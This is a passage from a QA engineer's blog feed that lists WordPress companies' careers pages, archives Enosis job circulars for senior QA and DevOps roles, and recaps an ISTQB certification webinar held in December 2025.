&lt;td&gt;&lt;a href=&quot;https://rankmath.com/hiring/&quot;&gt;rankmath.com/hiring&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rtCamp&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://careers.rtcamp.com/&quot;&gt;careers.rtcamp.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Awesome Motive (🇺🇸)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://awesomemotive.com/careers/&quot;&gt;awesomemotive.com/careers&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UpdraftPlus (🇬🇧)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://teamupdraft.com/careers/&quot;&gt;teamupdraft.com/careers&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BrainstormForce (🇮🇳)&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://brainstormforce.com/products/&quot;&gt;Products&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://brainstormforce.com/join/&quot;&gt;brainstormforce.com/join&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WP Rocket&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://wp-rocket.me/career/&quot;&gt;wp-rocket.me/career&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10up&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://10up.com/careers/&quot;&gt;10up.com/careers&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sitecare (🇬🇪)&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://sitecare.com/careers/&quot;&gt;sitecare.com/careers&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Human Made&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://humanmade.com/careers/&quot;&gt;humanmade.com/careers&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Modern Tribe&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://moderntribeagency.com/careers/&quot;&gt;moderntribeagency.com/careers&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hostinger (🇱🇹)&lt;/td&gt;
&lt;td&gt;Hosting and more.&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.hostinger.com/career&quot;&gt;hostinger.com/career&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SiteGround&lt;/td&gt;
&lt;td&gt;Hosting.&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://careers.siteground.com/&quot;&gt;careers.siteground.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RunCloud&lt;/td&gt;
&lt;td&gt;Hosting.&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://runcloud.io/careers&quot;&gt;runcloud.io/careers&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kinsta (🇺🇸)&lt;/td&gt;
&lt;td&gt;Hosting and more.&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://kinsta.com/careers/&quot;&gt;kinsta.com/careers&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yoast&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://yoast.com/jobs&quot;&gt;yoast.com/jobs&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Barn2&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://barn2.com/careers&quot;&gt;barn2.com/careers&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Memberpress&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://memberpress.com/careers/&quot;&gt;memberpress.com/careers&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;StellarWP&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://stellarwp.com/&quot;&gt;stellarwp.com&lt;/a&gt; — &lt;a href=&quot;https://jobs.jobvite.com/stellar&quot;&gt;jobs&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Job Boards&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://wpremotework.com/&quot;&gt;wpremotework.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jobs.wordpress.net/&quot;&gt;jobs.wordpress.net&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;More can be found here: &lt;a href=&quot;https://wpcareerpages.com/&quot;&gt;wpcareerpages.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;WordPress Support Engineer Resources: &lt;a href=&quot;https://github.com/faisalahammad/wordpress-support-engineer-resources?tab=readme-ov-file&quot;&gt;github.com/faisalahammad/wordpress-support-engineer-resources&lt;/a&gt;&lt;/p&gt;
</content:encoded><atom:updated>2025-12-18T00:00:00.000Z</atom:updated><category>sqa</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>SQA &amp; DevOps Job Circulars: Updated Collection [2026]</title><link>https://hurayraiit.com/blog/sqa-job-circular-collection/</link><guid isPermaLink="true">https://hurayraiit.com/blog/sqa-job-circular-collection/</guid><description>A growing collection of SQA and DevOps job circulars from Bangladesh and global companies — archived with requirements to help testers prepare and apply.</description><pubDate>Sat, 13 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Senior Software QA Engineer - Enosis - December 2025+&lt;/h3&gt;
&lt;h2&gt;Senior Software QA Engineer - Enosis - December 2025&lt;/h2&gt;
&lt;p&gt;Circular URL: &lt;a href=&quot;https://enosisbd.pinpointhq.com/en/postings/88283e28-2c82-45e8-b906-b796b4b0d16f&quot;&gt;https://enosisbd.pinpointhq.com/en/postings/88283e28-2c82-45e8-b906-b796b4b0d16f&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Wayback Machine URL: &lt;a href=&quot;https://web.archive.org/web/20251213052530/https://enosisbd.pinpointhq.com/en/postings/88283e28-2c82-45e8-b906-b796b4b0d16f&quot;&gt;https://web.archive.org/web/20251213052530/https://enosisbd.pinpointhq.com/en/postings/88283e28-2c82-45e8-b906-b796b4b0d16f&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://bucket.hurayraiit.com/2025/12/image-1-scaled.png&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;We are looking for experienced Software QA professionals with capturing and transforming business requirements into detailed test scenarios. The ideal candidates should be keen to learn new tools and technologies and then implement them in daily activities. The person should be dynamic and positive in mindset and attitude.&lt;/p&gt;
&lt;p&gt;Key Responsibilities&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Analyze business requirements and technical specifications of any new application and convert functional specifications, wireframes, user cases into test documents.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Conduct all types of application testing as needed, such as integration, system, regression, exploratory, UI, and acceptance to ensure the highest levels of quality.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Analyze formal test results to discover and resolve defects, bugs, errors, configuration issues, and interoperability flaws.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Design and implement automated test frameworks for functional, integration, and end-to-end testing.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Develop automated test scripts and utilities to validate APIs and backend services using a test automation framework.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Build and run load/performance tests to validate system scalability.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Collaborate with engineers and product managers to define test strategies and catch issues early.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Integrate automated test suites into CI/CD pipelines.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Contribute to QA best practices, tooling, and overall quality culture.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Required Skills &amp;amp; Qualifications&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;2+ years of experience in software quality assurance and testing.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://B.Sc&quot;&gt;B.Sc&lt;/a&gt; in Computer Science/Engineering or equivalent.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Excellent skills in analyzing and solving complex, multi-step problems.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Possess an investigative attitude while testing the product.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Knowledge on Programming languages (C#, Java, Python or Javascript).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Experience with software test automation tools like Playwright, Selenium, pytest, Robot Framework, etc.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Familiarity with load/performance testing tools (e.g., Locust, JMeter, k6).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Experience integrating tests into CI/CD pipelines (GitHub Actions, Jenkins, etc.).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Experience testing APIs, distributed systems, or backend services.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Experience with any relational database like MSSQL, Mysql, etc. is required.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Must be familiar working with one source control (i.e. Git, SVN), should be proactive in attitude with a positive mindset.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ability to visualize real-time business situations and scenarios.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Able to capture and transform business requirements into detailed test scenarios.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Keen to learn new tools and technologies then implement them in daily activities.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Solid understanding of QA methodologies and test automation best practices.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A strong desire to learn and develop technical skills.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Excellent written and verbal communication skills.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Familiarity with AWS cloud platform is a plus.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Experience testing asynchronous or distributed architectures is a plus.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Exposure to monitoring/observability tools is a plus.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Benefits&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Performance-based bonus&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Eid festival bonus&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Hybrid work model&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Complementary meals and snacks&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Two weekly holidays&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;About Enosis Solutions&lt;/p&gt;
&lt;p&gt;Enosis Solutions is an engineering powerhouse and trusted partner for software development and testing services. We design and develop web, desktop, and mobile applications for our clients that are compelling, interactive, and easy to use. Since our inception, we have been providing operational gains to startup, emerging, and established organizations throughout North America and Europe.&lt;/p&gt;
&lt;h3&gt;Senior DevOps Engineer - Enosis - December 2025+&lt;/h3&gt;
&lt;h2&gt;Senior DevOps Engineer - Enosis - December 2025&lt;/h2&gt;
&lt;p&gt;Circular URL: &lt;a href=&quot;https://enosisbd.pinpointhq.com/en/postings/4168382a-8fc0-4897-9710-847c1a67b1c1&quot;&gt;https://enosisbd.pinpointhq.com/en/postings/4168382a-8fc0-4897-9710-847c1a67b1c1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Wayback Machine URL:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://hurayraiit.com/sqa-job-circular-collection/image-31/&quot;&gt;image&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://bucket.hurayraiit.com/2025/12/image-2-scaled.png&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;As a Senior DevOps Engineer at Enosis Solutions, you will drive software delivery efficiency by implementing and optimizing DevOps practices. You will collaborate with cross-functional teams to automate infrastructure, manage cloud resources, and ensure system scalability, security, and reliability. Leveraging your expertise in CI/CD, networking, cloud technologies, containerization, and monitoring tools, you’ll deliver impactful solutions, and foster continuous improvement.&lt;/p&gt;
&lt;p&gt;Key Responsibilities&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Design, implement, and manage scalable AWS cloud infrastructure, with expertise in Azure and GCP considered a plus.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Implement and maintain configuration management solutions using Chef, with knowledge of Ansible and Terraform as a plus.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Design, implement, and manage CI/CD pipelines, ensuring alignment with best practices.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Support production environments by monitoring system performance, availability, and reliability.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Collaborate with teams to streamline deployment processes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Participate in troubleshooting and resolving infrastructure and deployment issues.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Lead initiatives in cloud migration, cost optimization, and service performance improvement.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set up and maintain monitoring and observability tools such as Prometheus, Grafana, and Datadog, including alerts and dashboards.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Participate in incident, change, problem, and release management, supporting production environments with on-call duties, including late nights and weekends as required.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Learn and apply security best practices across automation and cloud systems.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Stay updated with industry trends, share knowledge with the team, and mentor junior engineers.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Required Skills &amp;amp; Qualifications&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;2+ years of hands-on DevOps experience, with practical expertise in Infrastructure as Code (IaC) tools such as AWS CloudFormation and Terraform.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://B.Sc&quot;&gt;B.Sc&lt;/a&gt; in Computer Science/Engineering or equivalent.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Practical experience with provisioning, configuration, and automation of systems using tools such as Packer, Chef, and Ansible.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Proficient in scripting or programming languages such as Python and Bash for automation and operational tasks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Solid understanding of CI/CD concepts; experience with Jenkins, GitLab CI, or similar tools is preferred.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Familiarity with security and compliance standards, including SOC 2 and PCI DSS.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Strong proficiency in cloud technologies, with a focus on AWS; experience with Azure and GCP is a plus.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Proficient with version control systems (e.g., Git).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Working knowledge of containerization and orchestration (e.g., Docker, Kubernetes).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Experience with monitoring and observability tools such as Prometheus, Grafana, and Datadog.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Familiarity with database management systems in cloud environments (e.g., MySQL, PostgreSQL, SQL Server, AWS RDS, Azure CosmosDB).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Excellent communication and collaboration skills, with the ability to work effectively in a distributed or remote team.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Strong problem-solving skills and the ability to work independently.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Benefits&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Performance-based bonus&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Eid festival bonus&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Hybrid work model&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Complementary meals and snacks&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Two weekly holidays (Saturday &amp;amp; Sunday)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;About Enosis Solutions&lt;/p&gt;
&lt;p&gt;Enosis Solutions is an engineering powerhouse and trusted partner for software development and testing services. We design and develop web, desktop, and mobile applications for our clients that are compelling, interactive, and easy to use. Since our inception, we have been providing operational gains to startup, emerging, and established organizations throughout North America and Europe.&lt;/p&gt;
</content:encoded><atom:updated>2025-12-13T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>ISTQB Certification Journey: Tech X Webinar Full Recap</title><link>https://hurayraiit.com/blog/tech-x-webinar-istqb-the-full-journey/</link><guid isPermaLink="true">https://hurayraiit.com/blog/tech-x-webinar-istqb-the-full-journey/</guid><description>Summary and key takeaways from the Tech X Webinar on ISTQB certification — covering the full journey from Foundation Level to Expert, held December 13, 2025.</description><pubDate>Sat, 13 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Info&lt;/h2&gt;
&lt;p&gt;Event Schedule: 13th December 2025 || 9 pm to 11 pm&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Details:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Webinar Title:&lt;/strong&gt; ISTQB: The Full Journey&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Host:&lt;/strong&gt; Tech X&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Date:&lt;/strong&gt; Saturday, December 13th, 2025&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Attendance Time:&lt;/strong&gt; Please attend the Zoom session at &lt;strong&gt;8:45 PM BST&lt;/strong&gt; (Bangladesh Standard Time).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Start Time:&lt;/strong&gt; The webinar will begin sharp at &lt;strong&gt;9:00 PM BST&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Format:&lt;/strong&gt; Online Webinar via Zoom.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Objectives:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;A clear roadmap for ISTQB certification preparation.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Insights into common pitfalls and best practices in software testing.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;A valuable chance to engage directly with our senior QA experts and speakers&lt;/strong&gt; during the live Q&amp;amp;A session.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Recording of the keynote speech by the chief guest: &lt;a href=&quot;https://drive.google.com/file/d/1wGHAGjENH5gqp_hqngt5nZO_FrGtH2Fd/view?pli=1&quot;&gt;https://drive.google.com/file/d/1wGHAGjENH5gqp_hqngt5nZO_FrGtH2Fd/view?pli=1&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Official Webinar Recording:&lt;br /&gt;
&lt;a href=&quot;https://drive.google.com/file/d/1C2zBy2oBvPeD-LgbVlv1lwvUgT9K1nxF/view&quot;&gt;Part 01&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://bdren.zoom.us/rec/play/JC0AhkV4qaMXFzgHwmdaQYU9ubPO8n2hWHVOT48hMt7ttw2NfvWrRiQ_GI6QScT5Z0Bwj5qdCXMsJBf6.bsdUh4Yj-rPXc-4W?eagerLoadZvaPages=&amp;amp;accessLevel=meeting&amp;amp;canPlayFromShare=true&amp;amp;from=share_recording_detail&amp;amp;continueMode=true&amp;amp;componentName=rec-play&amp;amp;originRequestUrl=https%3A%2F%2Fbdren.zoom.us%2Frec%2Fshare%2FC-cYpdXQkm030lAlYtTdlSeaiC4n_Fh2xgs2F3ScFAviXL168Q1hqQiyN5iKFzXS.wTFc2GNy-q1VZxQb&quot;&gt;Part 02&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Event Photos&lt;/h2&gt;
Event Cover Photo
&lt;p&gt;&lt;/p&gt;

Chief Guest: Dr Muhammad Nuruzzaman
&lt;p&gt;1️⃣ Dr Mohammad Nuruzzaman ( Chief Guest )&lt;/p&gt;
&lt;p&gt;🔺Daffodil Group CEO&lt;br /&gt;
🔺 President: Bangladesh Software Testing Board (BSTB)&lt;br /&gt;
🔺 Bangladesh Representative: ISTQB (International Software Testing Qualifications Board)&lt;br /&gt;
🔺 Bangladesh Representative: TMMi Foundation&lt;br /&gt;
🔺 Treasurer: Global Entrepreneurship Network (GEN) Bangladesh&lt;br /&gt;
🔺 Vice President: Bangladesh Wushu Federation&lt;/p&gt;
&lt;p&gt;LinkedIn: &lt;a href=&quot;https://www.linkedin.com/in/nzamaan/&quot;&gt;https://www.linkedin.com/in/nzamaan/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;

Speaker: Joel Oliveira
&lt;p&gt;2️⃣ Joel Oliveira ( Special Guest )&lt;br /&gt;
🔺 Governance Chair at ISTQB&lt;br /&gt;
🔺 Head Of Quality Assurance at Celfocus&lt;br /&gt;
🔺 General Assembly President at PSTQB&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;

Keynote Speaker: Md Arif Chowdhury
&lt;p&gt;Md Arif Chowdhury&lt;br /&gt;
Senior IT Consultant (QA)&lt;br /&gt;
BACS &amp;amp; iBAS ++ Scheme, SPFMS&lt;br /&gt;
ISTQB Instructor&lt;/p&gt;
&lt;p&gt;3️⃣ Md Arif Chowdhury ( Keynote Speaker )&lt;br /&gt;
🔺 Senior IT Consultant (QA)&lt;br /&gt;
🔺 BACS &amp;amp; iBAS ++ Scheme, SPFMS&lt;br /&gt;
🔺 ISTQB Instructor&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;

Speaker: Mahmudul Islam Oly
&lt;p&gt;4️⃣ Mahmudul Islam&lt;br /&gt;
🔺 ISTQB 4.0 Certified with 95%&lt;br /&gt;
🔺 Exam Attempt from Home&lt;br /&gt;
🔺 SQA Instructor&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;

&lt;h2&gt;Links Shared In The Event&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;BSTB Management Body: &lt;a href=&quot;https://bstb-bd.org/management-body/&quot;&gt;https://bstb-bd.org/management-body/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Bangladesh Software Testing Board: &lt;a href=&quot;https://bstb-bd.org/&quot;&gt;https://bstb-bd.org/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;BSTB Examinations: &lt;a href=&quot;https://bstb-bd.org/examinations/&quot;&gt;https://bstb-bd.org/examinations/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;CEH Certification: &lt;a href=&quot;https://www.eccouncil.org/train-certify/certified-ethical-hacker-ceh/&quot;&gt;https://www.eccouncil.org/train-certify/certified-ethical-hacker-ceh/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ISTQB Website: &lt;a href=&quot;https://istqb.org/&quot;&gt;https://istqb.org/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ISTQB CTFL v4.0 Overview: &lt;a href=&quot;https://istqb.org/certifications/certified-tester-foundation-level-ctfl-v4-0/&quot;&gt;https://istqb.org/certifications/certified-tester-foundation-level-ctfl-v4-0/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ISTQB Prep: &lt;a href=&quot;https://www.istqbprep.com/&quot;&gt;https://www.istqbprep.com/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Clubs in SQA Field: &lt;a href=&quot;https://skillsclub.com/&quot;&gt;https://skillsclub.com/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ISTQB Successful Candidate Register: &lt;a href=&quot;https://scr.istqb.org/&quot;&gt;https://scr.istqb.org/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ISTQB Self Study Guide Book: &lt;a href=&quot;https://www.amazon.com/ISTQB%C2%AE-Certified-Tester-Foundation-Level/dp/3031427661/140-6704656-8187303?pd_rd_w=BB4HV&amp;amp;content-id=amzn1.sym.da0b205c-8cc7-4a8d-9d0a-8ed3705890a2&amp;amp;pf_rd_p=da0b205c-8cc7-4a8d-9d0a-8ed3705890a2&amp;amp;pf_rd_r=FR3P2MJW9DBYHDY9MTJ4&amp;amp;pd_rd_wg=RXbYU&amp;amp;pd_rd_r=ab7c90a3-b001-401f-a213-07decb1431fb&amp;amp;pd_rd_i=3031427661&amp;amp;psc=1&quot;&gt;Links to amazon&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Book on Software Testing: &lt;a href=&quot;https://shop.bcs.org/page/detail/?k=9781780176383&quot;&gt;https://shop.bcs.org/page/detail/?k=9781780176383&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ISTQB Glossary: &lt;a href=&quot;https://glossary.istqb.org/en_US/search?term=&amp;amp;exact_matches_first=true&quot;&gt;https://glossary.istqb.org/en_US/search?term=&amp;amp;exact_matches_first=true&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Slides&lt;/h2&gt;
Joel Oliveira&apos;s Talk
&lt;p&gt;I missed the first 4 slides 😥&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;

Md Arif Chowdhury&apos;s Talk
&lt;p&gt;The speaker forgot to screen-share the slides 😅&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;

Mahmudul Islam Oly&apos;s Talk
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
